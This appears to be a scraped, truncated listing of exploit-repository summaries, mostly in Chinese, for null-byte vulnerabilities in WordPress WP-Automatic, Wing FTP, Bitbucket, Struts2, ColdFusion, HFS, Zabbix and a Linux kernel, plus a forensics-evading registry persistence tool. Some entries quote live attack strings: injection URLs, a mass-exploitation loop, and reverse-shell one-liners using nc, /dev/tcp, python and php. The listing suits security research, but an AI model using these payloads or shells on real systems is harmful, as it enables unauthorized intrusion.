CVE-2024-27956

CVE-2024-27956 注意 构建WordPress：docker-compose -f stack.yml up 安装插件： 1. 进入WordPress仪表盘，选择插件 添加新插件 2. 点击上传插件 3. 选择文件 - wp-automatic.zip - 立即安装 4. 安装完成后，点击启用插件 漏洞利用 /wp-content/plugins/wp-automatic/inc/csv.php q=query&auth=%00&integ=md5query...

CVE-2025-47812-poC

CVE-2025-47812-poC 针对 Wing FTP Server RCE（CVE-2025-47812）的简易漏洞利用工具，用于执行命令和获取反向 Shell。仅限教育用途。 漏洞详情 该安全漏洞由 RCESecurity（https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/）公开披露并详细介绍。 该漏洞利用脚本由本人出于教育和测试目的编写。本人并非该漏洞的原始发现者。 Wing FTP Server RCE（CVE-2025-47812） 该漏洞源于 Wing...

SharpHide

SharpHide 一个巧妙且令人困惑的持久性技巧，用于迷惑DFIR调查。 使用NtSetValueKey原生API创建一个隐藏的（以空字节结尾的）注册表键值。 其原理是在UNICODESTRING键值名前添加一个空字节。 关于该技术的更多信息可在以下白皮书中找到： https://github.com/ewhitehats/InvisiblePersistence/blob/master/InvisibleRegValuesWhitepaper.pdf 该工具使用以下注册表路径创建隐藏的运行键：...

CVE-2025-47812-poc

CVE-2025-47812 Wing FTP Server 远程代码执行（RCE）漏洞利用工具 CVE-2025-47812 📌 致谢 ：漏洞由 Julien @MrTuxracer 发现。 本 PoC 实现基于其原始研究成果。 本仓库包含针对 Wing FTP Server 远程代码执行漏洞（CVE-2025-47812） 的 Python 漏洞利用代码。该严重缺陷允许攻击者在受影响的 Wing FTP Server 实例上以 root/SYSTEM 身份实现远程代码执行，即使仅启用了匿名访问。 🚀 概述 该漏洞源于 Wing FTP Server 在认证过程中对用户名参数中的 NU...

CVE-2026-59783 Server DoS via binary items

The Zabbix Server/Proxy has a vulnerability where binary items can crash the Server/Proxy on certain NULL byte input leading to potential loss of availability. This only affects deployments where MySQL/MariaDB database is used as the Zabbix database...

CVE-2026-59783

The Zabbix Server/Proxy is vulnerable to a Denial of Service (DoS) condition when processing binary items containing specific NULL byte input . This vulnerability leads to a crash of the service, resulting in a potential loss of availability. The issue is specific to deployments utilizing MySQL o...

CVE-2026-59783 Server DoS via binary items

The Zabbix Server/Proxy has a vulnerability where binary items can crash the Server/Proxy on certain NULL byte input leading to potential loss of availability. This only affects deployments where MySQL/MariaDB database is used as the Zabbix database...

EUVD-2026-92396

The Zabbix Server/Proxy has a vulnerability where binary items can crash the Server/Proxy on certain NULL byte input leading to potential loss of availability. This only affects deployments where MySQL/MariaDB database is used as the Zabbix database...

CVE-2019-17137

CVE-2019-17137 CVE信息：https://vulners.com/cve/CVE-2019-17137 POC GET /index.htm%00currentsetting.htm HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:78.0 Gecko/20100101 Firefox/78.0 Accept: / Accept-Language:...

CVE-2025-47812

CVE-2025-47812 这是 Wing FTP 服务器漏洞（CVE-2025-47812）的概念验证（PoC） 描述 Wing FTP Server 7.4.4 之前的版本因对用户名参数的不安全处理而存在远程代码执行（RCE ）漏洞。当我们在 /loginok.html 页面登录时，可以注入空字节 %00 后跟 Lua 代码，以实现 RCE。 背景事件 当我们向 loginok.html 页面发送 POST 请求时，cCheckUser 函数（用于验证正确用户名和密码的函数）使用了 strlen。问题在于该依赖函数容易受到空字节截断的影响。 这意味着如果我们在用户名后发送...

st2-046-poc

Struts2 Content-Disposition filename 空字节变种 CVE-2017-5638 Struts2 安全公告 S2-046 一个空字节（\x00）在请求的 Content-Disposition 头部的 filename 字段中会触发 InvalidFileNameException，异常消息中包含相同的（客户端控制的）文件名字符串，该字符串可在错误处理期间被用于触发 OGNL 评估。请注意，这与最初在 S2-045 中报告的 Content-Type 向量 以及 S2-046 中提到的 Content-Length/Content-Disposition ...

CVE-2022-36804-POC

CVE-2022-36804-POC 🕷️ Bitbucket CVE-2022-36804 未认证远程命令执行 利用方法 寻找公开可见的仓库 - example.com/repos?visibility=public /rest/api/latest/projects/project-path/archive?filename=kiE0h&at=kiE0h&path=kiE0h&prefix=ax%00--exec=%60id%60%00--remote=origin 批量利用 for url in $cat hosts.txt | httpx -follow-redirects...

CVE-2016-6187_LPE

CVE-2016-6187 - Linux 内核漏洞利用 针对 CVE-2016-6187 的内核漏洞利用（本地权限提升）（受影响版本： 4.6.5） 该漏洞利用是针对自定义编译的 4.6 内核 + buildroot（kconfig 即将发布）开发的， 可绕过 KASLR、SMEP、SMAP（KPTI 在 4.6 上不可用） 演示幻灯片 漏洞详情 被利用的漏洞是 AppArmor 的一个 LSM 钩子（setprocattr）中基于堆的单字节空溢出。参见 https://nvd.nist.gov/vuln/detail/CVE-2016-6187 漏洞利用 可靠性 初步测量表明，获得...

CVE-2009-2265

CVE-2009-2265 - Adobe ColdFusion 8 文件上传远程代码执行 这是针对 Adobe ColdFusion 8 的 CVE-2009-2265 漏洞利用 POC 的 Rust 实现。 漏洞概述 该漏洞允许未认证的攻击者向运行 Adobe ColdFusion 8 的服务器上的 Web 可访问目录上传任意文件，从而导致远程代码执行（RCE）。 技术细节 漏洞 ：通过空字节注入进行的目录遍历 组件 ：FCKeditor upload.cfm 连接器 参数 ：CurrentFolder 影响 ：远程代码执行（RCE） 受影响软件 ：Adobe ColdFusion...

CVE-2014-6287

CVE-2014-6287 - Rejetto HTTP 文件服务器 RCE 利用工具 一个用 Rust 实现的 CVE-2014-6287 漏洞利用工具，针对 Rejetto HTTP 文件服务器（HFS）2.3x 版本（低于 2.3c）。 漏洞概述 CVE-2014-6287 是 Rejetto HTTP 文件服务器（HFS）中的一个严重远程代码执行漏洞。 技术细节 受影响软件 ：Rejetto HTTP 文件服务器（HFS）2.3x 版本（低于 2.3c） 漏洞类型 ：远程代码执行（RCE） CVSS 评分 ：10.0（严重） CWE ：CWE-94（代码生成控制不当） 描述...

CVE-2006-2842

徽章 许可证 MIT 安装 使用 npm 安装 cve-2006-2842 npm install cve-2006-2842 -g 用法 单个 URL 示例 cve-2006-2842 -u http://example.com 用法 URL 列表示例 cve-2006-2842 -l urls.txt -o out.txt 屏幕截图 帮助菜单 获取所有项目 👋 Hey karthithehacker .-----------------------------. | Tool : CVE-2006-2842 💉 | | Author : @karthithehacker🎖️| |...

CVE-2025-47812

CVE-2025-47812 - Wing FTP服务器远程代码执行（RCE） 作者: blindma1den 日期: 2025年7月 漏洞利用类型: 远程代码执行（未认证） 目标: Wing FTP Server & /dev/tcp/IP/PORT 0&1 Python3: python3 -c 'import socket,subprocess,os; ...' Netcat: nc IP PORT -e /bin/sh PHP: php -r '$sock=fsockopen"IP",PORT; ...' FIFO + Netcat: rm /tmp/f; mkfifo...

CVE-2022-36804-Bitbucket-RCE-Analysis

CVE-2022-36804: Bitbucket 远程命令执行 RCE 空字节参数注入的技术分析与实验室利用 漏洞概要 CVE-2022-36804 是 Atlassian Bitbucket Server 和 Data Center 的 REST API 中的一个高危/严重 参数注入 漏洞。 虽然官方 NVD 国家漏洞数据库的基础评分为 8.8（高危） ，基于需要读取权限 PR:L 的假设，但本分析将其视为 9.8（严重） 漏洞 PR:N。如果目标仓库启用了公共访问（一种常见配置），则利用向量完全变为未经身份验证。 本仓库记录了该漏洞利用的完整链式实验室复现，直接基于 Assetno...

bitbucket-test

Docker 容器用于研究 CVE-2022-36804 重现一个远程代码执行漏洞，其中 Bitbucket 未能对用户输入进行清理，从而使攻击者能够注入 Git 标志并远程执行代码。 本仓库记录了我如何复现漏洞 CVE-2022-36804，即 Bitbucket Server 中预认证参数注入的问题。目标是按照 Assetnote 的公开文章所述，演示底层安全问题。所有测试均在隔离的本地环境中进行。 概述 CVE-2022-36804 是由于 Bitbucket 将用户输入直接传递给 git archive 子进程，而未对空字节进行清理所致。由于 Bitbucket 使用...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server RCE 漏洞利用 漏洞利用标题： Wing FTP Server 7.4.4 通过 Lua 注入实现远程代码执行 CVE： CVE-2025-47812 测试于： Wing FTP Server v7.3.x（Windows/Linux） 影响： 以 SYSTEM/root 权限远程执行代码（RCE） 严重性： 严重 描述 Wing FTP Server 在处理登录输入中的 \0（空字节）时存在一个漏洞，允许攻击者通过用户或管理员 Web 界面向会话文件中注入任意 Lua 代码 。这可用于在底层操作系统上执行系统命令。...